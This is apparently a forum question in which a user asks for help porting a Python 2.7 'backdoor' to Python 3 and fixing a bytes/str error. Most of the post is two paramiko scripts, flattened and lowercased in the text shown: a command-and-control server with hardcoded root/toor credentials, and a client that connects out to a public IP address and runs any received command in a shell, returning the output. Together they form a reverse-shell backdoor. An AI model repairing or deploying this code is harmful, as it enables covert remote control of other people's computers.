Getting error "cant concat str to byte" python -
i found code written in python2.7 , decided write changes run python3.1, code backdoor want install on home computer fun. unfourtunately ran error "cant concat bytes str" when tried send command client computer, think has changes form python2.7 python3.1, sorry if im unclear im trying explain best can.
here server script:
import sys import threading import paramiko import socket host_key=paramiko.rsakey(filename='/home/jack/.ssh/id_rsa') class server(paramiko.serverinterface): def __init__(self): self.event=threading.event() def check_channel_request(self,kind,chanid): if kind == 'session': return paramiko.open_succeeded return paramiko.open_failed_administratively_prohibited def check_auth_password(self,username,password): if (username=='root') , (password=='toor'): return paramiko.auth_successful return paramiko.auth_failed try: sock=socket.socket(socket.af_inet,socket.sock_stream) sock.setsockopt(socket.sol_socket,socket.so_reuseaddr, 1) sock.bind(('192.168.1.7', 1258)) sock.listen(100) print('[+] listening connection....') client, addr=sock.accept() except exception e: print('[-] listen/bind/accept failed') sys.exit(1) print('[+] connection initiated') try: transport=paramiko.transport(client) try: transport.load_server_moduli() except: print('[-] failed load moduli -- gex unsupported') raise transport.add_server_key(host_key) server=server() try: transport.start_server(server=server) except: paramiko.sshexception() print('[-] ssh negotiation failed') chan=transport.accept(20) print('[+] authentication completed') print(chan.recv(1024)) chan.send("connection established") while true: command=input('enter command=>').strip('\n') chan.send(command) print(chan.recv(1024)+'\n') except exception e: print('[-] exception'+': ' + str(e)) try: transport.close() except: pass sys.exit(1)
i post client side in case wants error came form server script
import paramiko import threading import subprocess client=paramiko.sshclient() client.set_missing_host_key_policy(paramiko.autoaddpolicy()) client.connect('173.210.89.47',port=1258, username='root',password='toor') chan = client.get_transport().open_session() chan.send('client connection established') print (chan.recv(1024)) while true: command=chan.recv(1024) try: cmd=subprocess.check_output(command, shell=true) chan.send(cmd) except exception e: chan.send(str(e)) client.close
so if me figure out great, guys
Comments
Post a Comment